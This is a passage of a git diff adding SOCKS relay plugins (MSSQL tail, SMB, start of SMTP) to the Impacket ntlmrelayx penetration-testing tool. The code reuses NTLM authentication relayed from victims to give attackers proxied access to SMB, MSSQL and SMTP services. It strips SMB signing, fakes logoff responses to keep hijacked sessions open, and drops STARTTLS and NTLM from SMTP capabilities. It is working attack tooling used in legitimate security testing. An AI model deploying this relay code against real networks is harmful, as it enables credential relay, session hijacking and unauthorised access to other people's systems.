+                    self.username = ('/%s' % login['UserName'].decode('utf-16le')).upper()
+                except UnicodeDecodeError:
+                    # Not Unicode encoded?
+                    self.username = ('/%s' % login['UserName']).upper()
+
+        # Check if we have a connection for the user
+        if self.username in self.activeRelays:
+            # Check the connection is not inUse
+            if self.activeRelays[self.username]['inUse'] is True:
+                LOG.error('MSSQL: Connection for %s@%s(%s) is being used at the moment!' % (
+                    self.username, self.targetHost, self.targetPort))
+                return False
+            else:
+                LOG.info('MSSQL: Proxying client session for %s@%s(%s)' % (
+                    self.username, self.targetHost, self.targetPort))
+                self.session = self.activeRelays[self.username]['protocolClient'].session
+        else:
+            LOG.error('MSSQL: No session for %s@%s(%s) available' % (
+                self.username, self.targetHost, self.targetPort))
+            return False
+
+        # We have a session relayed, let's answer back with the data
+        if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON:
+            TDSResponse = self.sessionData['AUTH_ANSWER']
+            self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)
+        else:
+            TDSResponse = self.sessionData['AUTH_ANSWER']
+            self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0)
+
+        return True
+
+    def tunnelConnection(self):
+        # For the rest of the remaining packets, we should just read and send. Except when trying to log out,
+        # that's forbidden! ;)
+        try:
+            while True:
+                # 1. Get Data from client
+                tds = self.recvTDS()
+                # 2. Send it to the relayed session
+                self.session.sendTDS(tds['Type'], tds['Data'], 0)
+                # 3. Get the target's answer
+                tds = self.session.recvTDS()
+                # 4. Send it back to the client
+                self.sendTDS(tds['Type'], tds['Data'], 0)
+        except Exception:
+            # Probably an error here
+            LOG.debug('Exception:', exc_info=True)
+
+        return True
+
+    def sendTDS(self, packetType, data, packetID = 1):
+        if (len(data)-8) > self.packetSize:
+            remaining = data[self.packetSize-8:]
+            tds = TDSPacket()
+            tds['Type'] = packetType
+            tds['Status'] = TDS_STATUS_NORMAL
+            tds['PacketID'] = packetID
+            tds['Data'] = data[:self.packetSize-8]
+            self.socketSendall(tds.getData())
+
+            while len(remaining) > (self.packetSize-8):
+                packetID += 1
+                tds['PacketID'] = packetID
+                tds['Data'] = remaining[:self.packetSize-8]
+                self.socketSendall(tds.getData())
+                remaining = remaining[self.packetSize-8:]
+            data = remaining
+            packetID+=1
+
+        tds = TDSPacket()
+        tds['Type'] = packetType
+        tds['Status'] = TDS_STATUS_EOM
+        tds['PacketID'] = packetID
+        tds['Data'] = data
+        self.socketSendall(tds.getData())
+
+    def socketSendall(self,data):
+        if self.tlsSocket is None:
+            return self.socksSocket.sendall(data)
+        else:
+            self.tlsSocket.sendall(data)
+            dd = self.tlsSocket.bio_read(self.packetSize)
+            return self.socksSocket.sendall(dd)
+
+    def socketRecv(self, packetSize):
+        data = self.socksSocket.recv(packetSize)
+        if self.tlsSocket is not None:
+            dd = b''
+            self.tlsSocket.bio_write(data)
+            while True:
+                try:
+                    dd += self.tlsSocket.read(packetSize)
+                except SSL.WantReadError:
+                    data2 = self.socksSocket.recv(packetSize - len(data) )
+                    self.tlsSocket.bio_write(data2)
+                    pass
+                else:
+                    data = dd
+                    break
+        return data
+
+    def recvTDS(self, packetSize=None):
+        # Do reassembly here
+        if packetSize is None:
+            packetSize = self.packetSize
+        packet = TDSPacket(self.socketRecv(packetSize))
+        status = packet['Status']
+        packetLen = packet['Length'] - 8
+        while packetLen > len(packet['Data']):
+            data = self.socketRecv(packetSize)
+            packet['Data'] += data
+
+        remaining = None
+        if packetLen < len(packet['Data']):
+            remaining = packet['Data'][packetLen:]
+            packet['Data'] = packet['Data'][:packetLen]
+
+        while status != TDS_STATUS_EOM:
+            if remaining is not None:
+                tmpPacket = TDSPacket(remaining)
+            else:
+                tmpPacket = TDSPacket(self.socketRecv(packetSize))
+
+            packetLen = tmpPacket['Length'] - 8
+            while packetLen > len(tmpPacket['Data']):
+                data = self.socketRecv(packetSize)
+                tmpPacket['Data'] += data
+
+            remaining = None
+            if packetLen < len(tmpPacket['Data']):
+                remaining = tmpPacket['Data'][packetLen:]
+                tmpPacket['Data'] = tmpPacket['Data'][:packetLen]
+
+            status = tmpPacket['Status']
+            packet['Data'] += tmpPacket['Data']
+            packet['Length'] += tmpPacket['Length'] - 8
+
+        # print packet['Length']
+        return packet
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py
new file mode 100644
index 0000000..d1008af
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py
@@ -0,0 +1,586 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A Socks Proxy for the SMB Protocol
+#
+#   A simple SOCKS server that proxy connection to relayed connections
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+import calendar
+import time
+import random
+import string
+from struct import unpack
+from binascii import hexlify
+from six import b
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
+from impacket.nmb import NetBIOSTCPSession
+from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_SIGN
+from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBExtended_Security_Data, \
+    SMBExtended_Security_Parameters, SMBNTLMDialect_Parameters, SMBNTLMDialect_Data, \
+    SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \
+    SMBSessionSetupAndX_Extended_Parameters, SMBSessionSetupAndX_Extended_Data
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_AID
+from impacket.smb3 import SMB2Packet, SMB2_FLAGS_SERVER_TO_REDIR, SMB2_NEGOTIATE, SMB2Negotiate_Response, \
+    SMB2_SESSION_SETUP, SMB2SessionSetup_Response, SMB2SessionSetup, SMB2_LOGOFF, SMB2Logoff_Response, \
+    SMB2_DIALECT_WILDCARD, SMB2_FLAGS_SIGNED, SMB2_SESSION_FLAG_IS_GUEST
+from impacket.spnego import MechTypes, ASN1_SUPPORTED_MECH
+from impacket.smb import SMB_DIALECT
+from impacket.smbserver import getFileTime
+
+# Besides using this base class you need to define one global variable when
+# writing a plugin:
+PLUGIN_CLASS = "SMBSocksRelay"
+
+class SMBSocksRelay(SocksRelay):
+    PLUGIN_NAME = 'SMB Socks Plugin'
+    PLUGIN_SCHEME = 'SMB'
+    
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
+        self.__NBSession = None
+        self.isSMB2 = False
+        self.serverDialect = SMB_DIALECT
+
+        # Let's verify the target's server SMB version, will need it for later.
+        # We're assuming all connections to the target server use the same SMB version
+        for key in list(activeRelays.keys()):
+            if key != 'data' and key != 'scheme':
+                if 'protocolClient' in activeRelays[key]:
+                    self.serverDialect = activeRelays[key]['protocolClient'].session.getDialect()
+                    self.isSMB2 = activeRelays[key]['protocolClient'].session.getDialect() is not SMB_DIALECT
+                    break
+
+    @staticmethod
+    def getProtocolPort():
+        return 445
+
+    def initConnection(self):
+        # An incoming SMB Connection. Nice
+        self.__NBSession = NetBIOSTCPSession('', 'HOST', self.targetHost, sess_port=self.targetPort, sock=self.socksSocket)
+
+    def skipAuthentication(self):
+        packet, smbCommand = self.getSMBPacket()
+
+        if isinstance(packet, SMB2Packet) is False:
+            if packet['Command'] == SMB.SMB_COM_NEGOTIATE:
+                # Nego packet, we should answer with supporting only SMBv1
+                resp = self.getNegoAnswer(packet)
+                self.__NBSession.send_packet(resp.getData())
+                # If target Server is running SMB2+ and we're here, there should be a SMB2+ NEGO packet coming
+                # calling skipAuth again and go from there
+                if self.isSMB2:
+                    return self.skipAuthentication()
+                packet, smbCommand = self.getSMBPacket()
+
+            if packet['Command'] == SMB.SMB_COM_SESSION_SETUP_ANDX:
+                # We have a session setup, let's answer what the original target answered us.
+                self.clientConnection, self.username = self.processSessionSetup(packet)
+                if self.clientConnection is None:
+                    return False
+        else:
+            if packet['Command'] == SMB2_NEGOTIATE:
+                resp = self.getNegoAnswer(packet)
+                self.__NBSession.send_packet(resp.getData())
+                packet, smbCommand = self.getSMBPacket()
+
+            if packet['Command'] == SMB2_SESSION_SETUP:
+                self.clientConnection, self.username = self.processSessionSetup(packet)
+                if self.clientConnection is None:
+                    return False
+
+        return True
+
+    def tunnelConnection(self):
+        # For the rest of the remaining packets, we should just read and send. Except when trying to log out,
+        # that's forbidden! ;)
+        while True:
+            # 1. Get Data from client
+            data = self.__NBSession.recv_packet().get_trailer()
+
+            if len(data) == 0:
+                break
+
+            if self.isSMB2 is False:
+                packet = NewSMBPacket(data=data)
+
+                if packet['Command'] == SMB.SMB_COM_LOGOFF_ANDX:
+                    # We do NOT want to get logged off do we?
+                    LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort))
+                    data = self.getLogOffAnswer(packet)
+                else:
+                    # 2. Send it to the relayed session
+                    self.clientConnection.getSMBServer()._sess.send_packet(data)
+
+                    # 3. Get the target's answer
+                    data = self.clientConnection.getSMBServer()._sess.recv_packet().get_trailer()
+
+                    packet = NewSMBPacket(data=data)
+
+                    if packet['Command'] == SMB.SMB_COM_TRANSACTION or packet['Command'] == SMB.SMB_COM_TRANSACTION2:
+                        try:
+                            while True:
+                                # Anything else to read? with timeout of 1 sec. This is something to test or find
+                                # a better way to control
+                                data2 = self.clientConnection.getSMBServer()._sess.recv_packet(timeout=1).get_trailer()
+                                self.__NBSession.send_packet(data)
+                                data = data2
+                        except Exception as e:
+                            if str(e).find('timed out') > 0:
+                                pass
+                            else:
+                                raise
+
+                    if len(data) == 0:
+                        break
+            else:
+                packet = SMB2Packet(data=data)
+                origID = packet['MessageID']
+
+                # Just in case, let's remove any signing attempt
+                packet['Signature'] = ""
+                packet['Flags'] &= ~(SMB2_FLAGS_SIGNED)
+
+                # Let's be sure the TreeConnect Table is filled with fake data
+                if (packet['TreeID'] in self.clientConnection.getSMBServer()._Session['TreeConnectTable']) is False:
+                    self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']] = {}
+                    self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] = False
+
+                if packet['Command'] == SMB2_LOGOFF:
+                    # We do NOT want to get logged off do we?
+                    LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort))
+                    data = self.getLogOffAnswer(packet)
+                else:
+                    # 2. Send it to the relayed session
+                    self.clientConnection.getSMBServer().sendSMB(packet)
+
+                    # 3. Get the target's answer
+                    packet = self.clientConnection.getSMBServer().recvSMB()
+
+                    if len(packet.getData()) == 0:
+                        break
+                    else:
+                        packet['MessageID'] = origID
+                        data = packet.getData()
+
+            # 4. Send it back to the client
+            self.__NBSession.send_packet(data)
+
+        return True
+
+    def getSMBPacket(self):
+        data = self.__NBSession.recv_packet()
+        try:
+            packet = NewSMBPacket(data=data.get_trailer())
+            smbCommand = SMBCommand(packet['Data'][0])
+        except Exception:
+            # Maybe a SMB2 packet?
+            try:
+                packet = SMB2Packet(data = data.get_trailer())
+                smbCommand = None
+            except Exception as e:
+                LOG.debug("Exception:", exc_info=True)
+                LOG.error('SOCKS: %s' % str(e))
+
+        return packet, smbCommand
+
+    def getNegoAnswer(self, recvPacket):
+
+        if self.isSMB2 is False:
+            smbCommand = SMBCommand(recvPacket['Data'][0])
+            respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)
+
+            resp = NewSMBPacket()
+            resp['Flags1'] = SMB.FLAGS1_REPLY
+            resp['Pid'] = recvPacket['Pid']
+            resp['Tid'] = recvPacket['Tid']
+            resp['Mid'] = recvPacket['Mid']
+
+            dialects = smbCommand['Data'].split(b'\x02')
+            index = dialects.index(b'NT LM 0.12\x00') - 1
+            # Let's fill the data for NTLM
+            if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
+                resp['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
+                _dialects_data = SMBExtended_Security_Data()
+                _dialects_data['ServerGUID'] = b'A' * 16
+                blob = SPNEGO_NegTokenInit()
+                blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+                _dialects_data['SecurityBlob'] = blob.getData()
+
+                _dialects_parameters = SMBExtended_Security_Parameters()
+                _dialects_parameters[
+                    'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
+                _dialects_parameters['ChallengeLength'] = 0
+
+            else:
+                resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
+                _dialects_parameters = SMBNTLMDialect_Parameters()
+                _dialects_data = SMBNTLMDialect_Data()
+                _dialects_data['Payload'] = b''
+                _dialects_data['Challenge'] = b'\x11\x22\x33\x44\x55\x66\x77\x88'
+                _dialects_parameters['ChallengeLength'] = 8
+                _dialects_parameters['Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS
+
+            _dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
+            _dialects_parameters['DialectIndex'] = index
+            _dialects_parameters['SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
+            _dialects_parameters['MaxMpxCount'] = 1
+            _dialects_parameters['MaxNumberVcs'] = 1
+            _dialects_parameters['MaxBufferSize'] = 64000
+            _dialects_parameters['MaxRawSize'] = 65536
+            _dialects_parameters['SessionKey'] = 0
+            _dialects_parameters['LowDateTime'] = 0
+            _dialects_parameters['HighDateTime'] = 0
+            _dialects_parameters['ServerTimeZone'] = 0
+
+            respSMBCommand['Data'] = _dialects_data
+            respSMBCommand['Parameters'] = _dialects_parameters
+
+            resp.addCommand(respSMBCommand)
+        else:
+            resp= SMB2Packet()
+            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
+            resp['Status'] = STATUS_SUCCESS
+            resp['CreditRequestResponse'] = 1
+            resp['CreditCharge'] = 1
+            resp['Command'] = SMB2_NEGOTIATE
+            resp['SessionID'] = 0
+            resp['MessageID'] = 0
+            resp['TreeID'] = 0
+
+            respSMBCommand = SMB2Negotiate_Response()
+
+            respSMBCommand['SecurityMode'] = 1
+            if isinstance(recvPacket, NewSMBPacket):
+                respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD
+            else:
+                respSMBCommand['DialectRevision'] = self.serverDialect
+                resp['MessageID'] = 1
+            respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
+            respSMBCommand['Capabilities'] = 0x7
+            respSMBCommand['MaxTransactSize'] = 65536
+            respSMBCommand['MaxReadSize'] = 65536
+            respSMBCommand['MaxWriteSize'] = 65536
+            respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
+            respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
+            respSMBCommand['SecurityBufferOffset'] = 0x80
+
+            blob = SPNEGO_NegTokenInit()
+            blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
+                                 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+
+            respSMBCommand['Buffer'] = blob.getData()
+            respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
+
+            resp['Data'] = respSMBCommand
+
+        return resp
+
+    def processSessionSetup(self, recvPacket):
+
+        if self.isSMB2 is False:
+            respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+            smbCommand = SMBCommand(recvPacket['Data'][0])
+
+            if smbCommand['WordCount'] == 12:
+                respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
+                respData = SMBSessionSetupAndX_Extended_Response_Data()
+
+                # First of all, we should received a type 1 message. Let's answer it
+                # NEGOTIATE_MESSAGE
+                challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
+                challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
+
+                respToken = SPNEGO_NegTokenResp()
+                # accept-incomplete. We want more data
+                respToken['NegState'] = b'\x01'
+                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+                respToken['ResponseToken'] = challengeMessage.getData()
+
+                respParameters['SecurityBlobLength'] = len(respToken.getData())
+                respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
+                respData['SecurityBlob'] = respToken.getData()
+
+                respData['NativeOS'] = ''
+                respData['NativeLanMan'] = ''
+                respSMBCommand['Parameters'] = respParameters
+                respSMBCommand['Data'] = respData
+
+                resp = NewSMBPacket()
+                resp['Flags1'] = SMB.FLAGS1_REPLY
+                resp['Flags2'] = SMB.FLAGS2_NT_STATUS
+                resp['Pid'] = recvPacket['Pid']
+                resp['Tid'] = recvPacket['Tid']
+                resp['Mid'] = recvPacket['Mid']
+                resp['Uid'] = 0
+                errorCode = STATUS_MORE_PROCESSING_REQUIRED
+                resp['ErrorCode'] = errorCode >> 16
+                resp['ErrorClass'] = errorCode & 0xff
+                resp.addCommand(respSMBCommand)
+
+                self.__NBSession.send_packet(resp.getData())
+                recvPacket, smbCommand = self.getSMBPacket()
+
+                sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])
+                sessionSetupData = SMBSessionSetupAndX_Extended_Data()
+                sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
+                sessionSetupData.fromString(smbCommand['Data'])
+
+                if unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
+                    # If there no GSSAPI ID, it must be an AUTH packet
+                    blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
+                    token = blob['ResponseToken']
+                else:
+                    # NEGOTIATE packet
+                    blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
+                    token = blob['MechToken']
+
+                # Now we should've received a type 3 message
+                authenticateMessage = NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(token)
+
+                try:
+                    username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                           authenticateMessage['user_name'].decode('utf-16le'))).upper()
+                except UnicodeDecodeError:
+                    # Not Unicode encoded?
+                    username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()
+
+                # Check if we have a connection for the user
+                if username in self.activeRelays:
+                    LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost))
+                    errorCode = STATUS_SUCCESS
+                    smbClient = self.activeRelays[username]['protocolClient'].session
+                    uid = smbClient.getSMBServer().get_uid()
+                else:
+                    LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost))
+                    errorCode = STATUS_ACCESS_DENIED
+                    uid = 0
+                    smbClient = None
+
+                resp = NewSMBPacket()
+                resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY
+                resp['Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY
+                resp['Command'] = recvPacket['Command']
+                resp['Pid'] = recvPacket['Pid']
+                resp['Tid'] = recvPacket['Tid']
+                resp['Mid'] = recvPacket['Mid']
+                resp['Uid'] = uid
+                resp['ErrorCode'] = errorCode >> 16
+                resp['ErrorClass'] = errorCode & 0xff
+                respData['NativeOS'] = ''
+                respData['NativeLanMan'] = ''
+
+                if uid == 0:
+                    resp['Data'] = b'\x00\x00\x00'
+                    smbClient = None
+                else:
+                    respToken = SPNEGO_NegTokenResp()
+                    # accept-completed
+                    respToken['NegState'] = b'\x00'
+                    respParameters['SecurityBlobLength'] = len(respToken)
+                    respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
+                    respData['SecurityBlob'] = respToken.getData()
+
+                    respSMBCommand['Parameters'] = respParameters
+                    respSMBCommand['Data'] = respData
+                    resp.addCommand(respSMBCommand)
+
+                self.__NBSession.send_packet(resp.getData())
+
+
+                return smbClient, username
+            else:
+                LOG.error('SOCKS: Can\'t handle standard security at the moment!')
+                return None
+        else:
+            respSMBCommand = SMB2SessionSetup_Response()
+            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
+
+            securityBlob = sessionSetupData['Buffer']
+
+            rawNTLM = False
+            if unpack('B', securityBlob[0:1])[0] == ASN1_AID:
+                # NEGOTIATE packet
+                blob = SPNEGO_NegTokenInit(securityBlob)
+                token = blob['MechToken']
+                if len(blob['MechTypes'][0]) > 0:
+                    # Is this GSSAPI NTLM or something else we don't support?
+                    mechType = blob['MechTypes'][0]
+                    if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:
+                        # Nope, do we know it?
+                        if mechType in MechTypes:
+                            mechStr = MechTypes[mechType]
+                        else:
+                            mechStr = hexlify(mechType)
+                        LOG.debug("Unsupported MechType '%s', we just want NTLMSSP, answering" % mechStr)
+                        # We don't know the token, we answer back again saying
+                        # we just support NTLM.
+                        # ToDo: Build this into a SPNEGO_NegTokenResp()
+                        respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
+                        respSMBCommand['SecurityBufferOffset'] = 0x48
+                        respSMBCommand['SecurityBufferLength'] = len(respToken)
+                        respSMBCommand['Buffer'] = respToken
+
+                        resp = SMB2Packet()
+                        resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
+                        resp['Status'] = STATUS_SUCCESS
+                        resp['CreditRequestResponse'] = 1
+                        resp['CreditCharge'] = recvPacket['CreditCharge']
+                        resp['Command'] = recvPacket['Command']
+                        resp['SessionID'] = 0
+                        resp['Reserved'] = recvPacket['Reserved']
+                        resp['MessageID'] = recvPacket['MessageID']
+                        resp['TreeID'] = recvPacket['TreeID']
+                        resp['Data'] = respSMBCommand
+
+                        self.__NBSession.send_packet(resp.getData())
+                        recvPacket, smbCommand = self.getSMBPacket()
+                        return self.processSessionSetup(recvPacket)
+
+            elif unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
+                # AUTH packet
+                blob = SPNEGO_NegTokenResp(securityBlob)
+                token = blob['ResponseToken']
+            else:
+                # No GSSAPI stuff, raw NTLMSSP
+                rawNTLM = True
+                token = securityBlob
+
+            # NEGOTIATE_MESSAGE
+            # First of all, we should received a type 1 message. Let's answer it
+            challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
+            challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
+
+            if rawNTLM is False:
+                respToken = SPNEGO_NegTokenResp()
+                # accept-incomplete. We want more data
+                respToken['NegState'] = b'\x01'
+                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+
+                respToken['ResponseToken'] = challengeMessage.getData()
+            else:
+                respToken = challengeMessage
+
+            resp = SMB2Packet()
+            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
+            resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED
+            resp['CreditRequestResponse'] = 1
+            resp['CreditCharge'] = recvPacket['CreditCharge']
+            resp['Command'] = recvPacket['Command']
+            resp['SessionID'] = 0
+            resp['Reserved'] = recvPacket['Reserved']
+            resp['MessageID'] = recvPacket['MessageID']
+            resp['TreeID'] = recvPacket['TreeID']
+
+            respSMBCommand['SecurityBufferOffset'] = 0x48
+            respSMBCommand['SecurityBufferLength'] = len(respToken)
+            respSMBCommand['Buffer'] = respToken.getData()
+            resp['Data'] = respSMBCommand
+
+            self.__NBSession.send_packet(resp.getData())
+            recvPacket, smbCommand = self.getSMBPacket()
+
+            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
+            securityBlob = sessionSetupData['Buffer']
+
+            blob = SPNEGO_NegTokenResp(securityBlob)
+            token = blob['ResponseToken']
+
+            # AUTHENTICATE_MESSAGE, here we deal with authentication
+            authenticateMessage = NTLMAuthChallengeResponse()
+            authenticateMessage.fromString(token)
+
+            try:
+                username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                       authenticateMessage['user_name'].decode('utf-16le'))).upper()
+            except UnicodeDecodeError:
+                # Not Unicode encoded?
+                username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()
+
+            respToken = SPNEGO_NegTokenResp()
+
+            # Check if we have a connection for the user
+            if username in self.activeRelays:
+                LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost))
+                errorCode = STATUS_SUCCESS
+                smbClient = self.activeRelays[username]['protocolClient'].session
+                uid = smbClient.getSMBServer()._Session['SessionID']
+            else:
+                LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost))
+                errorCode = STATUS_ACCESS_DENIED
+                uid = 0
+                smbClient = None
+
+            # accept-completed
+            respToken['NegState'] = b'\x00'
+
+            resp = SMB2Packet()
+            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
+            resp['Status'] = errorCode
+            resp['CreditRequestResponse'] = 1
+            resp['CreditCharge'] = recvPacket['CreditCharge']
+            resp['Command'] = recvPacket['Command']
+            resp['SessionID'] = uid
+            resp['Reserved'] = recvPacket['Reserved']
+            resp['MessageID'] = recvPacket['MessageID']
+            resp['TreeID'] = recvPacket['TreeID']
+
+            respSMBCommand['SecurityBufferOffset'] = 0x48
+
+            # This is important for SAMBA client to work. If it is not set as a guest session,
+            # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced).
+            respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST
+            respSMBCommand['SecurityBufferLength'] = len(respToken)
+            respSMBCommand['Buffer'] = respToken.getData()
+            resp['Data'] = respSMBCommand
+
+            self.__NBSession.send_packet(resp.getData())
+            return smbClient, username
+
+    def getLogOffAnswer(self, recvPacket):
+
+        if self.isSMB2 is False:
+            respSMBCommand = SMBCommand(SMB.SMB_COM_LOGOFF_ANDX)
+
+            resp = NewSMBPacket()
+            resp['Flags1'] = SMB.FLAGS1_REPLY
+            resp['Pid'] = recvPacket['Pid']
+            resp['Tid'] = recvPacket['Tid']
+            resp['Mid'] = recvPacket['Mid']
+            resp['Uid'] = recvPacket['Uid']
+
+            respParameters = b''
+            respData = b''
+            respSMBCommand['Parameters']   = respParameters
+            respSMBCommand['Data']         = respData
+
+            resp.addCommand(respSMBCommand)
+
+        else:
+            respSMBCommand = SMB2Logoff_Response()
+
+            resp = SMB2Packet()
+            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
+            resp['Status'] = STATUS_SUCCESS
+            resp['CreditRequestResponse'] = 1
+            resp['CreditCharge'] = recvPacket['CreditCharge']
+            resp['Command'] = recvPacket['Command']
+            resp['SessionID'] = recvPacket['SessionID']
+            resp['Reserved'] = recvPacket['Reserved']
+            resp['MessageID'] = recvPacket['MessageID']
+            resp['TreeID'] = recvPacket['TreeID']
+            resp['Data'] = respSMBCommand
+
+        return resp
diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py b/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py
new file mode 100644
index 0000000..5b3344a
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py
@@ -0,0 +1,157 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A Socks Proxy for the SMTP Protocol
+#
+#   A simple SOCKS server that proxies a connection to relayed SMTP connections
+#
+# Author:
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+import base64
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
+
+# Besides using this base class you need to define one global variable when
+# writing a plugin:
+PLUGIN_CLASS = "SMTPSocksRelay"
+EOL = '\r\n'
+
+class SMTPSocksRelay(SocksRelay):
+    PLUGIN_NAME = 'SMTP Socks Plugin'
+    PLUGIN_SCHEME = 'SMTP'
+
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
+        self.packetSize = 8192
+
+    @staticmethod
+    def getProtocolPort():
+        return 25
+
+    def getServerEhlo(self):
+        for key in list(self.activeRelays.keys()):
+            if key != 'data' and key != 'scheme':
+                if 'protocolClient' in self.activeRelays[key]:
+                    return self.activeRelays[key]['protocolClient'].session.ehlo_resp
+
+    def initConnection(self):
+        pass
+
+    def skipAuthentication(self):
+        self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready'+EOL)
+
+        # Next should be the client sending the EHLO command
+        cmd, params = self.recvPacketClient().split(' ',1)
+        if cmd.upper() == 'EHLO':
+            clientcapabilities = self.getServerEhlo().split('\n')
+            # Don't offer these AUTH options so the client won't use them
+            # also don't offer STARTTLS since that will break things
+            blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM']
+            for cap in blacklist:
+                if cap in clientcapabilities:
+                    clientcapabilities.remove(cap)
+
+            # Offer PLAIN auth for specifying the username
+            if 'AUTH PLAIN' not in clientcapabilities:
+                clientcapabilities.append('AUTH PLAIN')
+            # Offer LOGIN for specifying the username
+            if 'AUTH LOGIN' not in clientcapabilities:
+                clientcapabilities.append('AUTH LOGIN')
+
